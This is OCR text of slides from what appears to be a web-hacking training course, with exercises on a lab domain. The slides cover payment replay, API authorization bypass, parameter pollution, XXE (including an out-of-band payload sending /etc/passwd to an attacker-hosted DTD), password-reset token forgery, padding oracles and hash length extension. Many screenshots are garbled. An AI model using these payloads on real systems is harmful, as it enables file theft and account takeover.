NotSoSecure part of
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Replay Attack

.168.0.103/payment.him

Encrypted Payment Status

Initiate payments for
“X” cost products

Item ABC: X 1= 108

O Item XYZ: X
Total: 508
Y o
CVV:
e Phone No.:

Address:

WebShop Payment Page

Sends encrypted
payment data blob

a payment data blob

E-commerce website

Responds with encrypted

Decrypt Payment
Information and
Process Payment

Encrypted Payment Status

Shared Encryption Key

Payment gateway

NotSoSecure part of
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Attack Scenario

Add cheap items to the cart. During the payment process, capture
the encrypted payment data being sent to the payment gateway

Initiate another shopping process and add expensive/multiple items
to the cart. Replace the payment data with the previously captured
data

If the application does not cross validate the data, we’ll be able to
buy products at a lower price

NotSoSecure part of
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Replay Attack

Capture the encrypted
payment data blob

Initiate payments
for low cost
products

192.168.0.103/payment.htmf

(SN G () 192.168.0.103/payment.html

WebShop Payment Page

Payment gateway

Item ABC: X 1 =108
Item XYZ: X 2 =40$
Total: 50$

CC Number

CVV:

Phone No.:
E-commerce

Address: WebS |te

Pay

NotSoSecure part of
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Replay Attack

192.168.0.103/payment.htmf*

(SN G () 192.168.0.103/payment.html

WebShop Payment Page

Payment gateway

Item ABC: X 1 =108
Item XYZ: X 2 =40$
Total: 50$

CC Number

CVV:

Phone No.:

E-commerce

Address: WebS |te

NotSoSecure part of
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Attack Scenario: APl Authorization Bypass

* Arecharge application allows users to access their order details
* The order detalls request consists of userid parameter

* The attacker captures the request and changes the value of userid
from own id to the victim user’s id

* As the application has no authorization validation, the order details
of the victim user is fetched.

NotSoSecure part of
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Attack Scenario

* What can we do in case we find following API?

http://www.example.com/v3/customers/me

* Possible Scenarios:

Remove me - http://www.example.com/v3/customers - Safe
Get other stuff - http://www.example.com/v3/staff - Safe
We got customer from other URL

— http://www.example.com/v3/customers/777111555

— http://www.example.com/v3/customers/777111777 - Vulnerable!

NotSoSecure part of
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APl Authorization Bypass

« |dentify the password question of
“aabuserX@webhacklab.com” user through API
call

« Update the phone number of the user
“aabuserX@webhacklab.com”

EX@fClse Challenge URL.:
http:/topup.webhacklab.com/api/user




HTTP Parameter Pollution

* HPP attacks can be described as the injection of query string delimiter to
add or override HTTP GET/POST parameter

* Applications behave in different ways when multiple parameters of same
name are passed

e.g. PHP takes the value from the last parameter (of same name)

ASP concatenates the values of all parameters (of same name)

NotSoSecure part of
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List: Server Enumeration with HPP

ASP.NET/IIS All occurrences of the specific parameter parl=vall,val2
ASP/IIS All occurrences of the specific parameter parl=vall,val2
PHP/&pache Last occurrence parl=val2
PHR/Zeus Last occurrence pari=val2
JSP,Servlet/Apache Tomcat First occurrence parl=vall
JSP,Servlet/Oracle Application Server 10g First occurrence pari=vall
JSP,Serviet/Jetty First occurrence parl=vall
IBM Lotus Domino Last occurrence pari=val2
IBM HTTP Server First occurrence parl=vall
mod_perl,libapreqz/apache First occurrence parl=vall
Perl CGI/Apache First occurrence parl=vall
mod_perl,lib???/Apache Becomes an array ARRAY(0x8b9059c)
mod_wsqgi {Python)/apache First occurrence parl=vall
Python/Zope Becomes an array ['wall', 'val2']
IceWarp Last occurrence parl=val2
AXIS 2400 All occurrences of the specific parameter parl=vall,val2
Linksys Wireless-G PTZ Internet Camera Last occurrence parl=val2 NotSoSecure part of
Ricoh Aficio 1022 Printer First occurrence parl=vall
webcamXP PRO First occurrence parl=vall CIaranet
DBMan &ll occurrences of the specific parameter parl=vall~~val2 Cyber

security
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HPP Implication

* Override existing hardcoded HTTP parameters
* Access and potentially exploit uncontrollable variables
* WATF rules and input validation bypass

* Modify the application behaviors

NotSoSecure part of
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Real World Example

* Unsubscribe link from email notification:

https://twitter.com/i/u?t=1&cn=bWVzc2FnZQ%3D%3D&sig=647192e86e28fb66
91db2502c5ef6cf3xxx&iid=f6529edf-322d-xxx-b99a-
067876dfe799&uid=1134885524&nid=22+26

* HPPed link from an attacker:

https://twitter.com/i/u?t=1&cn=bWVzc2FnZQ%3D%3D&sig=647192e86e28fb66
91db2502c5ef6cf3xxx&iid=f6529edf-322d-xxx-b99a-
067876dfe799&uid=2321301342&uid=1134885524&nid=22+26

NotSoSecure part of
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CVE-2017-12635: HPP in CouchDB

* CouchDB only allows one admin user to be created via registration, but
allows creating multiple member

* HPP Allows bypassing this restriction:
when a user account is created POST request can be modified with

("roles" [" admin'], "roles™ [])

* First step validation looks at second value of roles, whereas Internal
Parser considers first value

* This results in new user having admin level capabillities

NotSoSecure part of
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HTTP Parameter Pollution (HPP)

Create a new user (userX) with “admin” role in
the CouchDB instance

Challenge URL.:
http://misc.webhacklab.com:5984/ utils/

Exercise
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XML External Entity (XXE) Basics

* An XML External Entity attack is a type of attack against an
application that parses XML input

* This attack occurs when XML input containing a reference to
an external entity is processed by a weakly configured XML
parser, leading to the disclosure of confidential data, DoS,
SSRF, port scanning etc.

NotSoSecure part of
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XML Entity

* Entity represented by &entityname;

* Think of it like a storing a variable

<?xml version="1.0" standalone="yes" ?>
<IDOCTYPE author

[ <IELEMENT author (#PCDATA)>
<IENTITY js "Jo Smith">

|

<author>&js;</author>

L www.freebsd.org/doc/en_US.ISO8859-1

Example 7.10. Using General Entities to Include Files

<!DOCTYPE html PUBLIC "-~//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtmll/DTD/xhtmll-transitional.dtd" [
<!ENTITY chapter.l SYSTEM "chapterl.xml">

<!ENTITY chapter.2 SYSTEM "chapter2.xml">

<!ENTITY chapter.3 SYSTEM “"chapter3.xml">

<!~~ And so forth -->

1>

<html xmlns="http://www.w3.0rg/1999/xhtml">
<l-- Use the entities to load in the chapters -->

&chapter.l;

&chapter.2;

&chapter.3;
</html>

NotSoSecure part of
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XML Parsing in Applications

* Many applications parse the XML files submitted by the end
user and may display elements of the XML file in the output

value of
author node

<?xml version="1.0" standalone="yes" ?>
<IDOCTYPE author

[ <IELEMENT author (#PCDATA)>
e.g. Thanks
“Jo Smith” for

claranet
coi > Ocyber
your SumeSS|on\ wsecurity
0 Futhor>

<IENTITY jS "Jo Smith"> NotSoSecure part of
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XML External Entity (XXE)

* Identify and exploit XXE to extract the contents
of the file '/etc/passwd' :

Challenge URL.:
http://hc.webhacklab.com/vl/api/status

Exercise




Out of Band Basics

Out of band technigue can be used in case of we do not get
response to the same page, by making the application server
make requests (HTTP/DNS/FTP etc.) to an external host
(controlled by the attacker)

NotSoSecure part of
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JSON to XML

* JSON requests can also be converted to XML (incase server

also supports XML):

Content-Type:

application/json — Content-Type: application/xml

POST /v2/api/status HTTPF/1l.1

Host: hc.webhacklab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101
Firefox/56.0

Accept: text/html,application/xzhtml+xml,application/xml;q=0.9,%/%;g=0.8
Accept-Language: en-0S,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Regquests: 1

Content-Length: 78

Content-Type: applicaticon/json;charset=U0TF-8

{"root": {"root": {"Object": {
i o b TR (o B L
"Domain": "test.com”

Fr1}

JSON request

0ST /v2/api/status HTTP/l.1
ost: ho.webhacklab.com
ser-Agent: Mozilla/5.0 (Wind
irefox/56.0

ccept: text/html,application
ccept-Language: en-US,en;jg=0
cacept-Encoding: gzip, deflat
onnection: close
pgrade-Insecure-Requests: 1
ontent-Length: 148
ontent-Type: application/xml

?xml version="1.0" encoding=
root>

root>

Object>

IP>10,1.1.1</IP>
Domain>test.com</Domain>
/Object>

/root>

/root>

ows NT 10.0; WOW64; rv:56.0) Gecko/20100101
/xhtml+xml,application/xml;g=0.9,%/%;¢g=0.8

.5
e

jcharset=0TF-8

"UTF-8" standalone="no"?>

Trying XXE now ?

Converted XML request



Advanced XXE Exploitation over OOB channels

In certain cases the XML external entities are being processed
on the server side yet don'’t reveal any information in the
response to confirm the XXE execution

In such cases Out-of-band (OOB) channels such as DNS,
HTTP and FTP can be used for confirmation and exploitation of
XXE

XXESERYV is one such tool which can be used to set up a mini
web server with FTP support for XXE payloads.
https://github.com/staaldraad/xxeserv

Reference:
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf

NotSoSecure part of

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserve

o}




Advanced XXE Exploitation over OOB channels

Attack Scenario:

* For OOB exploitation an attacker can craft payloads which contain requests fo
externally hosted Document Type Declaration (DTD), which can be used for
confirming the vulnerability

* Further exploitation in form of file extraction.

<?xml version="1.0" 7>
<!DOCTYPE extdtd |
<!ENTITY % ent SYSTEM "http:

IENTITY % d SYSTEM "file:///etc/passwd

A8 \ENTITY % ¢ "<!ENTITY rrr SYSTEM '
<extdtd>&rrr;</ettdtd>

Request payload ext.dtd



Adv XXE Exploitation over OOB

« |dentify and exploit blind XXE over OOB channels
on the API v2 to extract the contents of the file
/etc/passwd from the host:

Challenge URL.:
http://hc.webhacklab.com/

EXGfClse  Note: Use userX.webhacklab.com for performing
this exercise




XXE through SAML

* SAML based service requests contain XML document and
hence are prone to XML External Entity (XXE) attacks

Attack Scenario:
* The attacker can inject the payload into the SAML-XML service

document and execute the payload leading to XXE, if the XML
parser is weakly configured
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XXE through SAML

Go Cancel < |v >|v Target: https:// LI RS L/JU

Request Response

Raw | Params | Headers | Hex | samL Raider | Raw | Headers | Hex [ HTML | Render |

XSWA... “br>
Glt;div id=&quot;containeriquet;bgt;

Encrypted with

<br>
Glt;head&gt;
<br>

XXE OOB payload |njected into decoded SAML .......:50mm%000e

t-asn 8859-l&quot; /&gt;

? ! i Assertion <br>
? - ¥ | Preview in Browser... | | Reset Message J Elt;a
Condition Not Before 2016-09-1... href=Gtguet;http://go.m
Apply XSW _n9_ j&lt;img sre=&tquot
Condition Not After 2016-09-1 h“’“_ﬂu“ 4116quat]
Issuer IDP_MAAC_... <br>
. Glt;/divagt;
Signature <br
XML Si... Signature Algorithm http:/ /www... Elt;/bodykgt;
— f - <br>
? \¥) | Remave Signatures | | (Re-)sign Assertion | Digest Algorithm http:/ /waw... Glt;/htmlEgt;’ cannot be part o system identifier 'file:///Elt;!DOCTIPE
3 html PUBLIC &quot;-//W3C//DTD XHTML 1. rict//ENGquot;
Send Certifi Sub Conf Bef Gquot;http://www.w3.org/TR/xhtmll/DTD ll-strict.dtdéquot;&gt;
ti te b <br>
Sf\rIIHL REa’Il;elr(?::rl(: | L et ubject Cont. Hot fefore ni’:-hml xmlns=Gquot;http://wnw rg/1999/xhtmliquot kgt ;
% Subject Conf. Not After  2016-09-1... 4 quetihttp: R 8 quotj&gt;

=8quivsGquot ;Conten petquot; contentsm&Gquot;text/html;

Iilt title&gt;IIST&LL; ftl.t]..&gtl

Ready

nfe

grsion="1,0" oding="UTF-8" 2> A
2 I- 'DOCTYPE foo SYS ttp:// )/ xxe.dtd" I ilt,s:yll type=tquot;text/css&qul
3 <samlp:Response Destination="hiip " ;i’;*‘
: et Payload extracts the
J 2, tent of internal fil
“urn:oasis:names:tc:SAML:2.0:prot > :gis‘=*°°°°°°i content or Interna e
<saml:Issuer xmlns:saml="urn:oa ames:tc:SAML:2.0:assertion">IDP_MAAC_PROD</ background—color: FB3B3B3;
saml:Issuer> <bra
<samlp:Status xmlns:samlp="urn: inames:tc:SAML:2.0:protocol"> margin:0;
<samlp:StatusCode Value="urn: inames:tc:SAML:2.@:status:Success” <br> e
xmlns:samlp="urn:oasis:names:tc:S .@:protocol"/> } M
<.-’5ar-nl;‘]:5tatLAIS> e o R v 2 | < + > welcome.png&qud &quot;lIs7 S matches

20,967 bytes | 1,051 millis

.:~% python -m SimpleHTTPServer 89
Serving HTTP on 0.0.0.0 port 8999 ...
[14/Sep/2016 17:49:51] "GET
- - [14/Sep/2016 17:51:45] "GET
- — [14/Sep/2016 17:52:14] "

)
<!ENTITY % paraml "<!ENTI
%paraml; %external;

99

/xxe.dtd

P/1.1" 200
P/1.1" 200
P/1.1" 200
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XXE through SAML

« Exploit SAML XML to perform XXE attack and
extract the contents of the file
“c:/windows/win.ini” from the host:;

Challenge URL.:
http://topup.webhacklab.com/saml/SAML.aspx

Demo



XXE In File Parsing

* Open Document Format is an XML based file format
* Files in ODF : docx, pptx, xIsx, odt, ods, odp and more
* The files are zip collection of multiple XML'’s

* This gives rise to possibilities of exploiting XXE bugs in file
parsers

* A user can edit these XML files and inject an XXE payload. If
the backend XML parser allows XML External Entities, an
attacker can abuse it to perform an XXE attack NotSoSecure part o

claranet
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XXE In File Parsing

FavorRes Toos Hep

lln-Vl')I)‘Xﬁ

Add Extract Test Copy Move Delete Info

7 [ C:\sers\Computer Downloaddhore_fleread.docx docrops! |

Name | Sze|  Packed Size | Modfied | Created [ Accessed

* app.m 71 %2 1980010104:30 201509-0900:48 20150909 00:48 ol -

B coreomi 859 430 201801-1210:01 2015090900:48 201509-09 00:48 T“leITHISISSECRET has been added.

Fle Edt Format View Hep
?xm] version="1.0" encoding="UTF-8" standalone="yes"?>

TOOCTYPE root[
<’ENTITY xxe SYSTEP o L1brary webserver Documents ‘xxe/secret”>
X 3 orlg/package/2006/met]

:subject></dc:subject>
icreator></dc:creator>

:keynordsx /cp:keywords>
:description></dc: descrlpt1on>
:1astmodifiedBy></cp:lastmodifiedsy>
irevisionsl</cpirevisions

The application
Upload the executes the XXE
docx file in docx

Inject the payload
in the docx file

.docx uploader

< - C Ko 192.168.0.103/“;/
B NotSoSecure part of

.docx uploader claranet
cyber
This is a sample docx file secu rlty

Select File Browse.. No file selected. upload

© NotSoSecure 2021 Global
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XXE In File Parsing

« Upload a file having 'docx’ type to perform an
XXE attack and extract the contents of the file
'letc/passwd’ from the host:

Challenge URL.:
http://shop.webhacklab.com/career.php

Exercise




(M Key Terminologies

' Known Plaintext Attack
“ Q Padding Oracle Attack
Exploiting padding oracles with fixed IVs

Module: Hash Length Extension Attack

Auth Bypass Using MachineKey

Breaking Crypto

And relevant case studies



Breaking Crypto

e Cryptography plays a significant role in most of the dynamic
applications, ranging from storing sensitive data to passing on
information to a payment gateway

e |n this section, we’ll talk about attack vectors involving cryptography
used in web applications (client and server side)
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® Encryption

ln@

Key
Terminologies

Ciphers

ECB - Electronic Code Book

CBC - Cipher Block Chaining

R

Padding




Encryption

Encryption is the conversion of plaintext into ciphertext, which cannot
be easily understood by anyone except authorized parties

e Symmetric:

O Known as secret key cryptography as a single key is used between sender
and receiver to encrypt and decrypt data

e Asymmetric:

O Known as public key cryptography. Asymmetric cryptography uses public
and private key pair to encrypt and decrypt data

NotSoSecure part of
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Ciphers

A cipher is an algorithm for performing encryption or decryption of data
with series of well-defined procedures

e Types:
O Stream Ciphers - Encrypts data one by one at a time.

O Block Ciphers - Encrypts data in blocks (64 bits or 128 bits)
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Electronic Code Book (ECB)

. ECB |S a mOde Of Plaintext Plaintext Plaintext
. (HNERERRERRERN HEREERERRERER (HEERERRERREEN
operation for a block ] ; i
cipher oy —[ ok SBPT] oy [ ok cpher | ey [ Blockcpher
 Plaintext is divided into EENEREENREEN EENERENNNNENE ||||_|||l||||||1
bIOCkS and eaCh bIOCk Ciphertext Ciphertext Ciphertext
produces Corresponding Electronic Codebook (ECB) mode encryption
ciphertext block
Ciphertext Ciphertext Ciphertext
. . (HNERERRERRERN HEREERERRERER (HEERERRERREEN
* Same plaintext value will ] ] ]
always produce the same [k —| ecypton | & —| Secnpton | Ke¥—=| crption
ClpherteXt l NotSoSecure part of
" pintext "~ raintext ~ Plintext @claranet
cyber
Electronic Codebook (ECB) mode decryption security

Reference:
https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
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Cipher Block Chaining (CBC)

° CBC |S a mode Of Plaintext Plaintext Plaintext
. (IEREENEREEEEE] (HEREERRRENEER (HENEREREEERENE
operation for a block Initialization Vector (IV)
. LIrrrrrifrffir)——
cipher
block cipher ock cipher ock cipher
Key —> encrypfion Key —= bs_lnctyp{}ign Key — bénclr(ypfc)i:n
« Each block of plaintext — — |
. . (IEEEENENREEEE] HEREENRRENEER HEERRENERRNEN
IS XORed W|th the Ciphertext Ciphertext Ciphertext
previous Ciphertext Cipher Block Chaining (CBC) mode encryption
block before being
Ciph Ciph Ciph
encrypted L Illpl :e:-tlelx'l:l 1] [l |||p| Ie:-tle[xfl | L1 ]IIp] ;E;tle]x::] 1]
* An initialization vector ey —=| Seeryption | | K| ‘secrypton | | ¥ | ‘secryption
I Initialization Vector (IV)
(IV) IS usedto make LIITTTIIIIIIfl]l—— % %
eaChdataunlque (HIEREENENREENN] HEREENRRENEER (HENRRENRNRNENE
Plaintext Plaintext Plaintext
Cipher Block Chaining (CBC) mode decryption
Reference:

https://en.wikipedia.org/wiki/Block _cipher_mode_of operation
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Padding

* In block cipher mode, encryption is done in the fixed size
blocks, and padding is used to ensure that the cleartext data
exactly fit in one or multiple blocks of fixed size input as
plaintext data may come in arbitrary size

* Padding is composed of the number of missing bytes and
added into the plaintext

Block 1

2 3 4 5 6 7 8
A 0x07 0x07 0x07 0x07 0x07 0x07 0x07
Sunil u n i | Ox03 0x03 0x03
Sudhanshu d h a n 3 h u 0x07 0x07 0x07 0x07 0x07 0x07 0Ox07

PKCS7

NotSoSecure part of
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Crypto Attacks

* Ciphertext-Only Attack (COA)

o The attacker has access to a set of ciphertext(s).

* Chosen-Ciphertext Attack (CCA)

o The attacker can choose different ciphertexts to be decrypted and obtain
corresponding plain text.

* Known Plaintext Attack (KPA)

o The attacker knows the plaintext and its ciphertext.

* Chosen Plaintext Attack (CPA)

NotSoSecure part of

o The attacker has the text of his choice encrypted. @g?brgpet

security
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Known Plaintext Attack (Faulty Password Reset)

* An attack model which involves the attacker having
samples of both plain text and its encrypted form

* From the perspective of a password reset attack, if the
same plaintext gives same encrypted output, then it can
be abused to generate reset tokens for target users

NotSoSecure part of
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Attack Scenario

The application uses the user’'s email id and encrypts it to
generate the password reset token

The encryption is implemented in a way which generates
same ciphertext for a given plain text irrespective of the
location

An attacker who needs to takeover the account
abcxyz@gmail.com, registers another account with the
email addresses such as xxxxxxxxabcxyz@gmail.com,
yyyyyyyyabcxyz@gmail.com and requests password reset

Reference:
https://www.notsosecure.com/hacking-crypto-fun-profit/
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Attack Scenario

The attacker takes the common portion from the tokens
received for both the accounts, which is a valid password

reset token for abcxyz@gmail.com and resets the account
password

Reference:
https://www.notsosecure.com/hacking-crypto-fun-profit/
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Known Plaintext Attack (Faulty Password Reset)

PlainText
SE2ES8B2EB7076226 aaaaaaaa

aaaaaaaasunilyadav165@gmail.com

Xi6LLrcHYiZDRZgIOU30JbjtDYw8N/sZwq/Ew1zInRc=

ail.com
SE2E8B2EB707622643459808394DF425B8EDODSC3C37FB SEALLA P01 L [ byte padding]

19C2AFC4C35CES9D17

43459808394DF425

NotSoSecure part of
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Known Plaintext Attack (Faulty Password Reset)

bbbbbbbbsunilyadav165@gmail.com

AOsn+zCqpcRDRZgIOU30JbjtDYW8N/sZwq/Ew1zInRc=

A 4

034B27FB30AAA5C443459808394DF425B8EDOD8C3C37F
B19C2AFC4C35CES9D17

034B27FB30AAASCA bbbbbbbb

43455808394DF425

ail.com
C2AFC4C35CES59D17

[1 byte padding]

Reference:
https://www.notsosecure.com/hacking-crypto-fun-profit/

Y%
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Known Plaintext Attack

 Reset the password of the user
‘johnwebhacklab@gmail.com’ by generating a
valid password reset link:

Challenge URL.:
http:/topup.webhacklab.com/Account/Forg
otPassword

Demo



Padding Oracle

* An Oracle is a system that reveals information such as good
padding or bad padding

* An attack against a CBC-mode decryption function operating
with PKCS7-mode padding

* A padding oracle reveals whether or not the padding is
correct for a given ciphertext

NotSoSecure part of
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Intermediate Values

* Intermediate values are the output of the block cipher during
the block cipher process

* The state of a ciphertext block after decryption and before
XOR with the previous ciphertext block

* Once intermediate bytes are found, deciphering the plaintext
of the corresponding ciphertext is easy

NotSoSecure part of
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Cipher Block Chaining (CBC)

° CBC |S a mode Of Plaintext Plaintext Plaintext
. (IEREENEREEEEE] (HEREERRRENEER (HENEREREEERENE
operation for a block Initialization Vector (IV)
. LIrrrrrifrffir)——
cipher
block cipher ock cipher ock cipher
Key —> encrypfion Key —= bs_lnctyp{}ign Key — bénclr(ypfc)i:n
« Each block of plaintext — — |
. . (IEEEENENREEEE] HEREENRRENEER HEERRENERRNEN
IS XORed W|th the Ciphertext Ciphertext Ciphertext
previous Ciphertext Cipher Block Chaining (CBC) mode encryption
block before being
Ciph Ciph Ciph
encrypted L Illpl :e:-tlelx'l:l 1] [l |||p| Ie:-tle[xfl | L1 ]IIp] ;E;tle]x::] 1]
* An initialization vector ey —=| Seeryption | | K| ‘secrypton | | ¥ | ‘secryption
I Initialization Vector (IV)
(IV) IS usedto make LIITTTIIIIIIfl]l—— % %
eaChdataunlque (HIEREENENREENN] HEREENRRENEER (HENRRENRNRNENE
Plaintext Plaintext Plaintext
Cipher Block Chaining (CBC) mode decryption
Reference:

https://en.wikipedia.org/wiki/Block _cipher_mode_of operation

NotSoSecure part of

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




Attack Scenario

* The application takes an encrypted value (filename) as input to
retrieve a file from the underlying filesystem

* For avalid cipher (correct data with correct padding) the
application displays the content of the file (Response Code: 200)

* For an invalid cipher (incorrect data with incorrect padding) the
application displays an error message (Response Code: 500)

* Based on this behavior an attacker can determine the correct
padding, and the plaintext can be recovered without the original
key. Thereafter, it was possible to generate a new ciphertext to
download arbitrary files from the server

NotSoSecure part of
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Padding Oracle Attack

« ldentify a padding oracle vulnerabillity to:
o Decrypt the ciphertext for the invoice parameter.

o Encrypt the payload to download the content of the
‘web.config’ file from the server

Challenge URL.:
http://topup.webhacklab.com/download.asp
x?invoice={ciphertext}

Demo



Further Understanding of Padding Oracle

[bc772f3d45ad987c644738525a20c54€0aabc6d90db370d1ea362a0bcb08¢1b0fdf20df1d76e472d5364343855d219b7|

o

bc772f3d45ad987c644738525a20c54e

c2_ ¢

0aabc6d90db370d1ea362a0bcb08c1b0

v s

fdf20df1d76e472d5364343855d219b7

Assumed that the block size is 16, So divided whole token in 3 blocks of 16 bytes (each byte represent 2 character of hex string is become 32 character string)

* Assuming the block size is 16 bytes

* Chunks C1, C2, C3

NotSoSecure part of
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Computation for Padded Bytes

Ex1|00|00|00|00|00|O00|O00 00‘00 00| 00| 00| 00|00| 00| O1

Ex2|00| 00| 00| 00|00 00‘00 0000 | 00| 00| O00]|O00 00‘02 02

Ex3|00|00|00|00|O00 00‘00 00| 00| 00| 00|O00]| 00 03‘03 03

NotSoSecure part of
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XOR Operation

* Works at binary level

* Position change in equitation will not change the output
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Decryption Process

bc772f3d45ad987c644738525a20c54e0aa6c6d90db370d1ea362a0bcb08c1b0fdf20df1d76e472d5364343855d219b7

C1

bc772f3d45ad987c644738525a20c54e

C2

0aa6c6d90db370d1ea362a0bcb08c1b0

0aa6c6d90db370d1ea362a0bcb08c1b0

C3

fdf20df1d76e472d5364343855d219b7

fdf20df1d76e472d5364343855d219b7

Y

Key

———>| Decryption n

INTERMEDIATE STATE

Plaintext

—d

NotSoSecure part of

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




Initialization

00)O0Of0O|00|00|0O0)00O|0O0O|00O|00O|00O|0O0)| 00| O00)O00)|O0O0 fd| f2|0d| f1 | d7| 6e | 47| 2d| 53| 64| 34| 38| 55| d2| 19| b7

Key
——— | Decryption
]

0aabc6d90db370d1ea362a0bcb08c1b0

Plaintext

XX XX XX XX XX XX XX XX XX XX XX XX XX | XX | XX | XX

NotSoSecure part of
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Value Sent to the Server

1 GET /Support/LoadSupportTicketFile?id=5371369&token=
00000000000000000000000000000000ffdf20dfld76e472d5364343855d219b7 |HTTP/1.1

Response

2B Raw Render \n Actions Vv Select extension...
10 Content-Length: 41

11

ﬂPadding 1s invalid and cannot be removed.

NotSoSecure part of
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Oracle Calculation

Loop : 0 to 255

gofoojoojo0O|0O0O|OO|JOO|(0O0O| 00|00 00O)0O0O| 00| 00| 00 fd| f2|0d| f1 | d7 | 6e| 47| 2d| 53| 64| 34| 38|55|d2| 19| b7
Key :
——>| Decryption
[l
INTERMEDIATE STATE
0aabc6d90db370d1ea362a0bcb08c1b0
\

. Loop until 01 padding is found
Plaintext

KX XX XX XX XX XX XX XX XX XX XX XX XX XX XX

m NotSoSecure part of
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Value Sent to the Server

Request

JRaw I Params I Headers T Hex ]

1 GET /Support/LoadSupportTicketFile?id=5371369&token=
000000000000000000000000000000b6Ifdf20df1d76e472d5364343855d219b7 HTTP/l.l

@@ @ @ Search... 0 matches

Response
_[Raw T Headers T Hex T Render 1

12 Connection: close

L3 Content-Length: 86

14

15|Unexpected character encountered while parsing number: . Path '', line 1, position 1.|

NotSoSecure part of
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Tracing the 2"d Last Padding

Loop : 0 to 255

00jo00|0O|0O0O|0O0O|0OOf0OO|0QO|00|OO|0O|0O|O00D)|OO0(OQO fd| f2|0d| f1 |d7|6e| 47 |2d| 53 | 64| 34| 38| 55| d2| 19| b7

Now we need to find next element in
block To do that we expect padding

02,02 in last to character Key 3
——> Decryption
ﬂ C[16] = ¢[16] A 01, P'3[16] A 01 = 00 n
¢'[16] = ¢'[16] » 01 = 00 A 02, P'3[16] = 02
c[16] = b6, b6 * 01 % 02 = bS INTERMEDIATE STATE

0aa6c6d90db370d1ea362a0bcb08c1b0

v

. Loop until 01 padding is found
Plaintext

JOCT XX XK 2O XX XX XX XX XX XX XX XX XX XX XX

m NotSoSecure part of
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2nd | ast Pad Found

Loop : 0 to 255

00| 00J00Of0O0O|00O|0OOj0O0O(00|0CO|0O0)|OO0OfOO|O0O]O0O0 fd| f2|0d|f1 |d7|6e| 47| 2d| 53| 64|34|38|55(d2| 19| b7

A 4

Key

——— > Decryption
o

02a6c6d90db370d1ea362a0bcb08c1b0

. Loop until 02 padding is found
Plaintext

XX XX XX XX XX XX XX XX XX XX XX XX XX XX m

m NotSoSecure part of
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Similarly for Padding of 3

Loop : 0 to 255

00j00O|OO|0OOjOO|0OO)0OO(0O0O|0OO|OO|0OO| 00| QOf OO0 fd| f2|0d| f1 |d7| 6e| 47| 2d| 53| 64|34 |38|55|d2| 19| b7
Increment padding 03,03,03 Key v
Sample Method Applied :
P'[16] = C'[16]~ 02~ 03 = 03 —>| Decryption n
P'[15] = C'[15] # 02 * 03 = 03
C'[16] =b57 02 » 03 = b4, P'[16] =03
0aabc6d90db370d1ea362a0bcb08c1b0 C'[15]=c4 02~ 03 = ¢5, P[15] = 03

. Loop until 02 padding is found
Plaintext

XX XX XX XX XX XX XX XX XX XX XX XX XX | XX

m NotSoSecure part of
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3"d Last Pad Attained

Loop : 0 to 255

00(00|00|00|00|00|00|00|00fO0|O0O0]|O0O0]|O00 fd| f20d| f1|d7 | 6e| 47| 2d| 53| 64| 34|38|55|d2| 19| b7

A

Key

——— > Decryption “

0aa6c6d90db370d1ea362a0bcb08c1b0

] Loop until 03 padding is found
Plaintext

xxxxxxxxxxxxxxxxxxxxxxxxxxé
m NotSoSecure part of
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C’ Block

75 d8 af a4 72 d6 13 e3 87 21 3d 1c dc 1f d6 a7 fd| f2|0d| f1 |d7|6e| 47| 2d| 53| 64| 34| 38| 55| d2| 19| b7

A

Key

—_—— Decryption n

0aa6c6d90db370d1ea362a0bcb08c1b0

Plaintext

(][] 8] o] o] ] [ o] o] ] ] [ oo [ o] 0] o]
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Compare Equation

fd | f2|0d| f1|d7|6e|47|2d|53|64|34|38|55|d2|19|b7 n td|f2|od| f1|d7|6e|a7|2d|53|64|34|38|55|d2]19]b7
OQa|ab6 | c6|d9| 0d| b3 | 70| d1 ea| 36| 2a|0b|cb| 08] c1 b0 75 d8 af a4 72 d6 13 e3 87 21 3d 1¢ dc 1f dé6 a7
K v
LS BEEEN Decryption Key X
n Decryption
INTERMEDIATE STATE INTERMEDIATE STATE
L D | ,
Plaintext
o[ rof 0101 w0frofofo[0]w]wfrwfwfo]n]
Plaintext m m

NotSoSecure part of

C3 = fdf20df1d76e472d5364343855d219b7 C3 = fdf20df1d76e472d5364343855d219b7 claranet
C2 = 0aa6c6d90db370d1lea362a0bcb08c1b0 C' = 75d8afa472d613e387213d1cdclfd6a’ O cyber
P3="7? P'3=10101010101010101010101010101010 security
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Encrypting Custom Block

User data is “customdata”

* Hex (customdata) = 637573746f6d646174610

Padding = 060606060606 (6 Bytes of padding as per 16 bytes block)

* Generate Cipher text for Block = 637573746f6d64617461060606060606

NotSoSecure part of
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Encrypting Custom Block

n 4141|4141 |41 a1|a1]a1 a1 |41 41[41]4a1|41]|41|41

a0 (48 | 0d [ 71|01 |ea|c6|[86|84)|3d|63|f7 |1f[50]|e5|97

A 4

—> Decryption

10(10|10(10| 10|10} 10|10 1010|1010 |10 (10| 10 | 10

D

101010101010} 10|10| 10 (10|10 |10 (10|10 | 10 | 10

00 (00 | 00 {00 00 | 00 | 00|00 f00| 0000|0000 00|00 |00 NotSoSecure part of

Arbitrary Value of our choice = customdata

Hex (customdata) block= Cla I‘a net

637573746f6d64617461060606060606 Cyb er
63|75 |73 |74 |6f |6d]|64|61|74|61|06 |06 |06 |06 |06 |06 secu I‘Ity
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Exploiting padding oracles
with fixed IVs

« Access the file where id=0 which can only be
accessible by an admin user

Challenge URL.:

http://reimbursement.webhacklab.com/Support/
LoadSupportTicketFile

Demo



Hash Length Extension Attacks

A hash length extension attack occurs when the application
prepends a secret token to the data and create a hash for
validation

Attacker can calculate a valid hash for message without knowing
the secret (just by guessing its length)

This depends on the fact that hashes are calculated in blocks and
the hash of one block is the state for next block

NotSoSecure part of
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Hash Length Extension Attacks

As shown in the example below, if we are able to identify the length of
padding, we have all the information required to calculate a new hash:

Request:
guantity=1&price=100

Hash:
[secretpass|quantity=1&price=100|padding] => Hash1/Statel

Final Request:
guantity=1&price=100&hash=Hash1l

NotSoSecure part of
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Hash Length Extension Attacks

Attack Hash:
